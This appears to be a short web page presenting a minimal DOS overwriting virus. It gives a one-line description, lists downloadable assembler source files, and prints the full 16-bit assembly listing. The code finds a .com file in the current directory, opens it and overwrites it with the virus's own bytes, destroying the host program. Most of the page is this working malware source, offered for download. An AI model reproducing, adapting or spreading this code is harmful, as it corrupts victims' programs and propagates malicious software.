[section::virus]
Trival virus that infects *.com files in current directory. I've tried to write the smallest code that is possible.
[section::download]
v32.asm414 bytes of assembler source code.
v38.asm416 bytes of assembler source code.
v.zip790 bytes of zipped sources.
[section::code]

	.model tiny
	.data
	wzor db '*.com',0
	.code
	org 100h

	start:
	mov ah,4eh
	mov dx,offset wzor       
	int 21h
	mov dx,009Eh
	mov ax,3d01h
	int 21h
	xchg bx,ax
	mov dx,100h
	mov cl,32
	mov ah,40h
	int 21h
	ret

	END  start